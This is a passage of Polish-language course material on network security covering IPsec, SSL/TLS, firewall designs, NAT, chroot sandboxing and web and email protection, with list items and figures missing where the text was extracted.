Co istotne, IKE umożliwia też automatyczną renegocjację kluczy kryptograficznych co określony interwał (nawet często). W takim przypadku, w razie złamania bieżącego klucza, dane zaszyfrowane poprzednimi kluczami nie są narażone. Cecha ta, określana jako Perfect Forward Security, chroni przed sytuacją gdy atakujący zapisuje wszystkie przechwycone w przeszłości dane w nadziei, że kiedyś uda mu się zdobyć klucz do ich rozszyfrowania. Implementacja obligowana jest by w przypadku renegocjacji klucza poprzedni klucz był usuwany z pamięci. Wówczas włamywacz nie znajdzie go w systemie nawet w przypadku opanowania systemu operacyjnego węzła.
Protokół IPsec dobrze nadaje się do realizacji tuneli wirtualnych VPN. Jednak nie jest idealnym rozwiązaniem problemu bezpiecznej komunikacji. Praktycznie od początku był IPsec krytykowany za niekonsekwencje projektowe i nadmierne skomplikowanie. Wytykano, iż np. ochrona integralności zapewniana jest niemal w równym stopniu przez ESP, jak i AH. Niektóre odkryte błędy zostały usunięte w wersji z 1998 r. (np. część potencjalnych furtek do ataków DoS). Gwoli ścisłości należy zaznaczyć, iż zdiagnozowane usterki nie mają raczej charakteru otwartych dziur, grożących złamaniem bezpieczeństwa sieci, ale są za to dość liczne i ułatwiają powstawanie potencjalnych słabości w samych implementacjach.
Mimo tego jednak, IPsec jest wykorzystywany powszechnie i praktycznie nie ma dla niego alternatywy. Jako reprezentatywną opinię można przytoczyć tu podsumowanie analizy IPsec dokonanej w 1999 r. przez znanych kryptologów Nielsa Fergussona i Bruce’a Schneiera:
,,Nawet pomimo dość poważnych zarzutów jakie wysunęliśmy wobec IPSec, jest on prawdopodobnie najlepszym protokołem bezpieczeństwa z obecnie dostępnych.
W przeszłości przeprowadziliśmy podobne analizy innych protokołów o analogicznym przeznaczeniu (w tym PPTP). Żaden ze zbadanych protokołów nie spełnił swojego celu, ale IPSec zbliżył się do niego najbliżej. (...) Mamy ambiwalentne odczucia wobec IPSec. Z jednej strony IPSec jest znacznie lepszy niż jakikolwiek protokół bezpieczeństwa IP stworzony w ostatnich latach: Microsoft PPTP, L2TP itp. Z drugiej strony nie wydaje nam się, by zaowocował on kiedykolwiek stworzeniem w pełni bezpiecznego systemu.”
W Windows 2000 i XP wbudowano obsługę IPsec (ESP) zintegrowaną z usługą Active Directory. Sam IPsec tuneluje tylko ruch IP.
Rysunek 9. Uaktywnienie obsługi protokołu IPsec w Windows
Rysunek 10. Przykład definicji tunelowania ruchu IP
Rysunek 11. Szczegóły definicji tunelowania ruchu (zmienne parametry SA)
Uzupełniając wiadomości o protokole IPsec, należy dodać, iż jest on zintegrowaną częścią specyfikacji protokołu IP w wersji 6. Zatem w protokole IPv6 możliwe jest korzystanie z nagłówków AH i ESP jak z dowolnych innych opcji protokołu.
Aczkolwiek najbardziej uniwersalny tunel wirtualny osiągnąć można na poziomie warstwy sieciowej, to jednak mechanizmy kryptograficznej ochrony komunikacji można zaprząc do pracy w innych warstwach.
Szyfrowane propagowanie połączeń jest metodą realizacji tuneli wirtualnych na poziomie warstwy aplikacji. Oferuje je np. protokół SSH. Działanie mechanizmu propagowanie połączeń można przedstawić następująco (rysunek 12).
Rysunek 12. Schemat działania propagacji połączeń
Tunele wirtualne można realizować na poziomie warstwy sesji. Znanym powszechnie przykładem jest SSL (Secure Socket Layer) – połączeniowy protokół oferujący dwupunktowy tunel kryptograficzny z wykorzystaniem certyfikatów, zaprojektowany z myślą o ochronie sesji takich protokołów jak HTTP, POP/IMAP, SMTP. SSL oferuje ochronę poufności, integralności i autentyczności danych. I tak przykładowo HTTPS – protokół HTTP tunelowany poprzez SSL – jest powszechnie wykorzystywaną w sieci internetowej usługą (port 443). Odpowiednio istnieją wersje tunelowane innych usług (POPS, IMAPS). W praktyce SSL potrafi tunelować dowolny ruch (stunnel, OpenVPN).
Aktualna wersja SSL nosi numer 3.0. Równolegle z tą wersją występuje jego następca – protokół TLS (Transport Layer Security). TLS v.1.0 jest standardem IETF – RFC 2246.
W dziedzinie zabezpieczeń ruchu sieciowego dużą rolę odgrywają systemy kontroli komunikacji nazywane w języku ang. firewall. W języku polskim ścierają się na ogół dwa terminy: zapora sieciowa oraz ściana przeciwogniowa. Drugi z nich jest tłumaczeniem rdzennego pojęcia amerykańskiego (rysunek 1)
Rysunek 1. Etymologia pojęcia firewall
Inną analogią tego pojęcia jest kontrola paszportowa i celna na granicy – w naszym przypadku granicy sieci komputerowej.
Podstawowe funkcje systemów firewall obejmują filtrację ruchu oraz pośredniczenie w dostępie do usług sieciowych
Filtracja pakietów to podstawowa forma zabezpieczenia sieci. Polega na analizie pakietów (a dokładniej parametrów ruchu zawartych w nagłówkach pakietów) warstwa 3 (czasami 2-4) modelu OSI. Możliwa jest:
Ruch sieciowy jest filtrowany (przepuszczany lub blokowany) w zależności od decyzji podjętych na podstawie analizy pakietów, przy zastosowaniu zdefiniowanych reguł (reguł filtracji).
Pośredniczenie w dostępie do usług jest realizowane poprzez odseparowanie świata wewnętrznego i zewnętrznego względem zapory sieciowej (brak funkcji routingu). Komunikacja poprzez zaporę nie jest możliwa w żadnej warstwie poza aplikacyjną (warstwa 7 modelu OSI). Na zaporze uruchomione są aplikacje pośredniczące (proxy services) w komunikacji końcowych aplikacji użytkowych (np. klient-serwer). Oznacza to, iż klient, uruchomiony – przyjmijmy – w sieci wewnętrznej, nie może nawiązać połączenia bezpośrednio z serwerem pracującym w sieci zewnętrznej. Może tylko nawiązać połączenie z aplikacją proxy. Ruch może przechodzić przez zaporę, jedynie gdy zostanie pozytywnie sklasyfikowany przez aplikację proxy. Zaakceptowane połączenie od klienta jest następnie zestawiane w imieniu klienta przez aplikację proxy z serwerem. W istocie zatem utrzymywane są dwa połączenia: klient-proxy i proxy-serwer dolecowy.
Rysunek 2. Model pośredniczenie w realizacji usług (firewall typu proxy)
Systemy firewall konstruowane są ze złożenia wymienionych poniżej komponentów.
Jest to rozwiązanie najprostsze i najłatwiejsze w utrzymaniu. Można je zrealizować przy pomocy następujących urządzeń:
Jest to dedykowana stacja lub węzeł międzysieciowy, na którym uruchomione są usługi proxy.
Jest to dedykowana podsieć obejmująca jedno lub kilka stanowisk o złagodzonych wymaganiach względem ochrony. Typowo umieszcza się tam stanowiska oferujące pewne wybrane informacje publicznie, w odróżnieniu od stacji sieciowych pracujących wewnątrz sieci chronionej.
Podstawowym zagadnieniem dotyczącym realizacji zapory sieciowej tego typu jest kwestia definicji reguł filtracji. Reguły filtracji operują w ogólności na parametrach analizowanych pakietów, takich jak:
Rysunek 3. Model systemu z zaporą sieciową typu router filtrujący
Schemat wewnętrznej kompozycji urządzenia filtrującego jest przedstawiony na rysunku 4. Możliwe jest utrzymywanie oddzielnych list filtracji dla ruchu wchodzącego i wychodzącego z zapory sieciowej.
Rysunek 4. Model modułu filtracji
Filtry można zdefiniować na następujące sposoby:
Przykład statycznych reguł filtracji pokazuje rysunek 5. Opisuje on filtrację przypadku z rysunku 6. Na nim mamy hipotetyczną sieć wewnętrzną, której stacjom zezwala się na nawiązywanie połączeń tylko wybranej usługi (w przykładzie – telnet) i jedynie z wybranym serwerem zewnętrznym.
Rysunek 5. Przykładowe statyczne reguły filtracji
Reguły zdefiniowane na statycznej liście filtracji są przeglądane sekwencyjnie do pierwszego trafienia. Dla pasującej reguły jest aplikowane zdefiniowane w niej działanie (na ogół akceptacja lub odrzucenie pakietu). Reguła nr 1 zezwala na ruch wychodzący na zewnątrz jeśli adres nadawcy należy do zakresu adresów sieci wewnętrznej, odbiorcą pakietu jest wyróżniony serwer zewnętrzny, port nadawcy nie jest portem systemowym, a port odbiorcy zgadza się z portem usługi telent. Druga reguła zezwala na ruch w przeciwnym kierunku, pod warunkiem odwrotnej kombinacji parametrów, lecz jedynie pod warunkiem, że w nagłówku TCP ustawiona jest flaga ACK. Natomiast w przypadku, gdy flaga ta jest wyzerowana, ruch wchodzący z serwera jest blokowany. Jest konsekwencją faktu, iż flaga ACK jest wyzerowana jedynie w pierwszym segmencie TCP – nawiązującym połączenie (segment SYN). Nie jest oczywiście naturalne, by serwer usługi telent próbował zestawić połączenie z klientem ochranianej sieci, zatem taką sytuację należy rozpoznać jako podejrzaną i odrzucić pakiet (najprawdopodobniej oprogramowanie podszywające się za serwer próbuje nawiązać połączenie ze stacjami wewnątrz chronionej sieci). Reguła ostatnia jest realizacją zasady domyślnej reguły dostępu – blokuje jakikolwiek ruch, który nie został zdefiniowany w poprzednich regułach.
Rysunek 6. Schemat sieci do przykładu definicji statycznych reguł filtracji
Statyczne reguły filtracji posiadają kilka ograniczeń. Przykładowo niektóre usługi trudno poddają się filtracji statycznej (np. FTP, X11, DNS). Rozważmy jak w trybie aktywnym pracy serwera FTP (przypomnij sobie jaki to tryb) ochronić się przed nadużyciem, w którym oprogramowanie podszywające się za serwer próbuje nawiązać połączenie ze stacjami wewnątrz chronionej sieci. Z pomocą przychodzą pewne nowe rozwiązania proponowane w samych protokołach aplikacyjnych. Coraz powszechniej wprowadza się i stosuje tryby pracy zmodyfikowane pod kątem usprawnienia filtracji, np. tryb passive w protokole FTP (skądinąd użyteczny także np. przy korzystaniu z dostępu xDSL)
Komputer Twierdza to stacja z odseparowanymi interfejsami sieciowymi (Dual Homed Host Gateway) zajmująca miejsce węzła międzysieciowego (rysunek 7). Oferuje fizyczną i logiczną separację prywatnej sieci lokalnej od zewnętrznej sieci publicznej. Dzięki separacji interfejsów tylko Komputer Twierdza jest widoczny z sieci publicznej. Zatem, aby wtargnąć do sieci prywatnej trzeba uprzednio zawładnąć Komputerem Twierdzą. Komputer Twierdza pełni rolę bramy aplikacyjnej – usługi pośredniczące i zastępcze (proxy) rozwiązują problem usług trudnych do filtracji. Dzięki temu, iż jest on pełnym stanowiskiem komputerowym, potencjalnie wyposażonym w dowolne żądane oprogramowanie i praktycznie nieograniczone zasoby pamięci masowej, możliwa jest szczegółowa rejestracja zdarzeń (auditing), ułatwiająca diagnozowanie ewentualnie pojawiających się nowych zagrożeń i niedoskonałości konfiguracji.
Rysunek 7. Model systemu z zaporą sieciową typu Komputer Twierdza
Rysunek 8 pokazuje schematyczne połączenie w jedną linię obrony różnych typów zapór sieciowych, dokładniej jest to brama aplikacyjna poprzedzona routerem filtrującym (Screened Host Gateway).
Rysunek 8. Model systemu z filtracją podwójną
Możliwe jest dalej „rozciągnięcie” Twierdzy na całą dedykowaną podsieć (Screened Network), co pokazuje z kolei rysunek 9, a nawet kaskadę podsieci.
Rysunek 9. Model systemu z podsiecią ochronną
Konfiguracja która przyjęła się pod nazwą Strefa Zdemilitaryzowana (DMZ = Demilitarized Zone) to wydzielona podsieć zawierająca komponenty świadomie wyjęte spod kontroli obejmującej całą resztę sieci wewnętrznej, takie jak np.:
Rysunek 10. Model systemu ze Strefą Zdemilitaryzowaną DMZ
Translacja adresów jest powszechnym w sieciach komputerowych mechanizmem, który ma różne cele, a są to:
(za cenę braku możliwości komunikacji z takimi oficjalnymi adresami)
Metody wzajemnego odwzorowania adresów są ustandaryzowane i opisane w dokumentach:
Wyróżnia się przy tym translację adresów źródłowych – Source NAT (SNAT) – oraz docelowych – Destination NAT (DNAT).
W tym przypadku pakiety wychodzące z sieci wewnętrznej otrzymują nowy adres źródłowy w nagłówku (rysunek 11). W przykładzie, pakiet wychodzący w rzeczywistości z adresu IP równy 10.1.1.1 otrzymuje po translacji adres źródłowy serwera translacji (jest nim brzegowy węzeł międzysieciowy), mianowicie 150.254.1.100. Numer portu źródłowego też ulega zmianie.
Rysunek 11. Schemat translacji adresów źródłowych (SNAT)
W mechanizmie Destination NAT (DNAT) pakiety przychodzące ze strony inicjującej (na ogół – sieci zewnętrznej) otrzymują nowy adres docelowy (w tym w szczególności – port). Celem może być przekierowanie ruchu określonej usługi pod rzeczywisty, nie ujawniany na zewnątrz, adres wewnętrznego serwera tej usługi. Na rysunku 12 adres serwera (o jaką usługę chodzi w tym przykładzie?) upubliczniony na zewnątrz jest równy 150.254.1.1, podczas gdy rzeczywisty adres to 150.254.1.200.
Rysunek 12. Schemat translacji adresów źródłowych (SNAT)
Łańcuch funkcji realizowanych przez zapory sieciowe wyglądać może następująco:
Dodatkowymi funkcjami mogą być
(tzn. takich protokołów jak 6to4, 6over4, Toredo)
Standardowy przepływ ruchu poddawanego filtracji (round-trip) można przedstawić schematycznie postaci poniższej:
Filtry kontekstowe podejmują dynamicznie zmienne decyzje na podstawie weryfikacji kontekstu (stateful inspection):
Przedstawia to poniższy schemat:
Zapory sieciowe cierpią na wiele problemów, zarówno technologicznych jak i realizacyjnych. Problemy technologiczne dotyczą np. usług takich jak FTP. Przykładowo, jeśli filtr kontekstowy w zaporze obsłuży komendę PORT 23 protokołu FTP, to czy będzie to naruszenie polityki bezpieczeństwa? Problemy technologiczne związane są również z wykorzystaniem w ruchu sieciowym mechanizmów takich jak fragmentacja IP. Z filtracją pakietów pofragmentowanych związane są następujące problemy:
Istotne problemy niesie ze sobą pielęgnacja reguł filtracji. Szczególnie trudna jest ona do sprawnego przeprowadzenia w przypadku dużych zbiorów reguł. Dodatkowo potęgują trudności częste na naszym rynku informatycznym zmiany personelu i brak dokumentacji uniemożliwiający pielęgnację starych reguł (odziedziczonych po poprzednim administratorze). Często występują również problemy wewnętrzne: duże organizacje posiadają często złożoną politykę bezpieczeństwa, co implikuje wielość nachodzących na siebie domen bezpieczeństwa i trudności w definicji i pielęgnacji spójnych reguł filtracji.
Ostrożnie należy też postępować z tunelami wirtualnymi. Autoryzowane tunele VPN mogą być potencjalnym nośnikiem nieautoryzowanych treści poza kontrolą zapór ogniowych. Zatem powinny być zaplanowane i zrealizowane w sposób przemyślany. Podobnie jak VPN, również propagowanie połączeń (port forwarding) może przyczynić się do skutecznego ominięcia kontroli na zaporze. Podobnie trudności sprawia dość rozpowszechniony protokół SOAP (Simple Object Access Protocol), służący, mówiąc kolokwialnie, do tunelowania jakiegokolwiek ruchu w HTTP. Pod tym względem skrajnie wywrotowy jest httptunnel (http://www.noccrew.org/software/httptunnel.html)
Bieżący moduł przedstawia wybrane zagadnienia bezpieczeństwa dotyczące aplikacji użytkowych i usług sieciowych. Najpierw omówiony zostanie dość uniwersalny mechanizm ochrony stosowalny wobec dowolnych aplikacji – ograniczanie środowiska wykonania. Następnie przedstawione zostaną najistotniejsze problemy dotyczące popularnych usług aplikacyjnych – WWW i poczty elektronicznej.
Jednym z najważniejszych środków ochrony aplikacji użytkowych przed zagrożeniami płynącymi z zewnątrz i skutkującymi przejęciem kontroli nad aplikacją, a potencjalnie dalej – nad całym systemem operacyjnym, jest stworzenie bezpiecznego środowiska aplikacyjnego, czyli takiego, w którym aplikacja zostaje uruchomiona w specjalnie spreparowanym podsystemie, który minimalizuje zagrożenia.
Ograniczanie środowiska wykonania aplikacji ma na celu w istocie nie tyle uniemożliwienie ataku w ogóle, co minimalizowanie szkód po ewentualnym ataku. Koncepcja działania tego mechanizmu jest następująca:
W systemach z rodziny Unix popularnym narzędziem służącym do tworzenia piaskownic jest systemowa funkcja chroot(). Jest to uprzywilejowana funkcja systemowa ograniczająca proces do określonego poddrzewa systemu plików. Blokuje jedynie dostęp do plików, tworząc tzw. więzienie. Uwięziony proces nie może otworzyć (w tym utworzyć) pliku poza ograniczonym obszarem, chociaż może dziedziczyć deskryptory wskazujące na pliki spoza tego obszaru.
Tworząc piaskownicę w systemie Unix trzeba stworzyć więzionemu procesowi iluzję pracy w pełnoprawnym systemie. W tym celu w piaskownicy należy zainstalować odpowiednie pliki i katalogi potrzebne programowi i używanym przez niego bibliotekom (na ogół bardzo ograniczone fragmenty /etc, /lib czy /usr/lib).
Mimo ogromnej przydatności funkcji chroot(), związane są z jej wykorzystaniem pewne problemy. Większość z nich dotyczy ataków DoS. I tak przykładowo, mimo ograniczenia środowiska wykonania:
W systemie Unix istnieje polecenie chroot (dostępne z powłoki), które wywołuje funkcję chroot(). Polecenie to ma też pewne ograniczenia, z których najważniejsze to:
W nowszych wydaniach systemów Unix/Linux istnieją inne, doskonalsze narzędzia – np. chrootuid, jail – które przed wywołaniem funkcji chroot() pozwalają zmienić UID oraz GID
jail –u nobody –g www –l /tmp/jail.log –d / /usr/apache /bin/httpd
Jednym z ważniejszych problemów zapewnienia podstawowych własności bezpieczeństwa jest, jak wiemy, poprawne uwierzytelnianie. Prosty mechanizm uwierzytelniania został wbudowany w protokół usługi WWW – HTTP. Uwierzytelnianie podstawowe w protokole HTTP przebiega następująco:
który pozwoli użytkownikowi na wprowadzenie danych uwierzytelniających
Rysunek 1. Okienko uwierzytelniania wyświetlane w przykładowej przeglądarce www
Wiele implementacji serwerów usługi www umożliwia automatyzację operacji uwierzytelniania, pozwalając na weryfikację otrzymanych danych uwierzytelniających poprzez zewnętrzne bazy danych, przechowujące konfigurację kont użytkowników. Przykładowo, serwer Apache posiada rodzinę modułów mod_auth służacych do tego celu (np. mod_auth_mysql), a serwer IIS pozwala na starowanie automatyzają poprzez ustawienia opcji Panel Sterowania -> Narzędzia Administracyjne -> Menedżer Usług Internetowych (można zdefiniować np. uwierzytelnianie użytkownika przez domenę)
W standardzie HTTP 1.1 uwzględniono uwierzytelnianie kryptograficzne, realizowane najczęściej z wykorzystaniem algorytmu MD5. Niestety nie przewidziano w specyfikacji dwustronnego uwierzytelniania.
Rozwiązaniem problemów uwierzytelniania, które przyjęło się w praktyce jest zastosowanie niezależnie od protokołu aplikacyjnego HTTP, protokołu sesji – SSL.
W istocie protokół SSL tworzy tunel kryptograficzny usługi www. Tak zabezpieczona usługa znana jest pod nazwą https (port 443/tcp). Jednym z podstawowych komponentów protokołu SSL jest protokół uzgadniania, który realizuje zadania uwierzytelniania stron.
Protokół uzgadniania (handshake protocol) działa wg poniższego schematu:
Poprawność procedury uwierzytelniania wynika z następujących obserwacji:
Newralgiczna w tym procesie jest weryfikacja certyfikatów – SSL jest podatny na atak man-in-the-middle. Sposobem redukcji zagrożenia może być np. weryfikacja czy adres IP asocjacji z nawiązanego połączenia zgadza się z adresem IP w certyfikacie.
Luki bezpieczeństwa w usłudze WWW dotyczą wielu komponentów systemu, w szczególności klientów (przeglądarek), serwerów czy środowiska wykonania (systemu operacyjnego).
Wśród typowych problemów bezpieczeństwa klientów usługi WWW należy wymienić chociażby
Z ostatnim z powyższych problemów związanych jest szereg zagrożeń niesionych przez języki automatyzacji operacji na dokumentach hipertekstowych i definicji dynamicznych stron DHTML czy .NET. Języki te to przede wszystkim Java i ActiveX
Java charakteryzuje się w tym kontekście następującymi własnościami:
ActiveX posiada następujące istotne w naszych rozważaniach cechy:
W praktyce, najczęściej wbudowane w usługę WWW i dostępne w przeglądarkach mechanizmy ochrony są uzupełniane o filtrację treści ruchu HTTP na zaporze firewall (osobistej lub sieciowej).
Do charakterystycznych problemów bezpieczeństwa, na które cierpią implementacje serwerów usługi WWW można zaliczyć w szczególności np.:
Problemy środowiska wykonania szczególnie często ujawniają się w przypadku systemu MS Windows. Tu wymienimy chociażby:
Umożliwiają one instalację niechcianego oprogramowania pobieranego nieświadomie poprzez usługę WWW.
Rysunek 2 przedstawia model komunikacji systemu internetowej usługi pocztowej standardu SMTP (RFC 821). Wyróżnione na nim elementy systemu to:
Rysunek 2. Model komunikacji SMTP
Podstawowe problemy bezpieczeństwa dotyczące poczty obejmują:
Pojęcie spam dotyczy ogółu niechcianych przesyłek pocztowych zajmujących zasoby pamięciowe (skrzynka pocztowa odbiorcy) i czasowe systemu. Ochrona anty-spamowa sprowadza się do odfiltrowania takich przesyłek z całości ruchu pocztowego i może być realizowana na kilku poziomach modelu komunikacji SMTP.
Na poziomie MTA filtracja jest dokonywana poprzez analizę nagłówka SMTP, np.
czy nie jest na czarnej liście
Posiada ona istotną zaletę – oszczędność zasobów – odrzucamy spam na pierwszej linii obrony. Wadą tego rozwiązania jest mała precyzja wynikająca z faktu, iż na tak wczesnym etapie posiadamy mało informacji do dyspozycji. Stąd występuje duże prawdopodobieństwo pomyłki – sklasyfikowania niechcianej przesyłki jako pożądanej i odwrotnie.
Stosunkowo dużą skuteczność i małe efekty uboczne (opóźnienie) wykazuje tu mechanizm znany jako szare listy (greylisting). Mianowicie, po odebraniu przesyłki MTA odsyła na adres nadawcy kod 452 „czasowa niedostępność” i czeka na powtórną transmisję. Automaty spamerskie z założenia nie retransmitują, stąd akceptowane jako pożądane są wszystkie retransmitowane listy.
Poziom MDA pozwala stosować do realizacji możliwie skutecznej filtracji takie rozwiązania jak:
Również klienci pocztowi MUA posiadają często wbudowane narzędzia filtrujące, które, niekiedy automatycznie, pozwalają użytkownikowi klasyfikować wybrane listy jako spam.
Powszechnie spotykane są następujące standardy ochrony kryptograficznej
Istnieje wiele kompleksowych systemów i standardów pocztowych wykorzystujących kryptografię, w tym przykładowo:
PEM to jeden z pierwszych standardów zaproponowanych do ochrony przesyłek protokołu SMTP i posiadający zgodny z pierwotnymi wymaganiami tego protokołu format RFC822 (rysunek 3). W PEM możliwa jest przede wszystkim kontrola integralności przy wykorzystaniu MD2 lub MD5 (128b) – zgodnie ze standardem RFC1421. Opcjonalnie możliwe jest szyfrowanie wiadomości – DES-ECB, 3DES (RFC1423). PEM wspiera zarządzanie kluczami i certyfikację wg ISO X.509 (RFC1422, RFC1424).
Rysunek 3. Schematyczna struktura przesyłki pocztowej zabezpieczonej kryptograficznie
Przykładowe implementacje to chociażby RIPEM czy TIS-PEM. Jednak w szerszej skali PEM nie uzyskał dużej popularności.
PGP powstał jako projekt akademicki prowadzony przez Phila Zimmermanna (z MIT). Prace uwieńczyły standard IETF RFC1991 (PGP 2.6.x) i wielka popularność jaką zyskał on w Internecie. W 1998 IETF zatwierdził standard OpenPGP (RFC2440) opracowany przez Network Associates, bazujący na PGP 5.x. Istnieje również alternatywny projekt PGPi (www.pgpi.org) = International PGP – przeniesiony poza USA. Z najpopularniejszych implementacji wymienić należy Desktop PGP – jest to komercyjna wersja rozprowadzana przez Network Associates (rozszerzona np. o IDS) – oraz GnuPG – wersję dystrybuowaną na licencji GNU. Ponadto wiele aplikacji wykorzystuje PGP (np. enigmail – rozszerzenie klientów pocztowych Mozilli).
PGP umożliwia:
Standard Secure MIME umożliwia wygodną integrację mechanizmu kryptograficznego zabezpieczenia korespondencji pocztowej z protokołem SMTP, poprzez wykorzystanie rozszerzenia uznanego mechanizmu obsługi załączników MIME. Wersja S/MIME 1 została opracowana przez RSA Security w 1995r. i wykorzystywała mechanizmy kryptograficzne wchodzące w skład PKCS (Public Key Cryptography Standards). Wersja S/MIME 2 (RFC2311/12) powstała w 1998r., a wkrótce później S/MIME 3 (RFC 2630-34). S/MIME 3 oferuje m.in. rozszerzone funkcje bazujące na mechanizmach MSP (Message Security Protocol protokołu opracowanego pierwotnie dla Defense Message System).
Należy nadmienić istnienie również protokołów PGP/MIME i OpenPGP/MIME.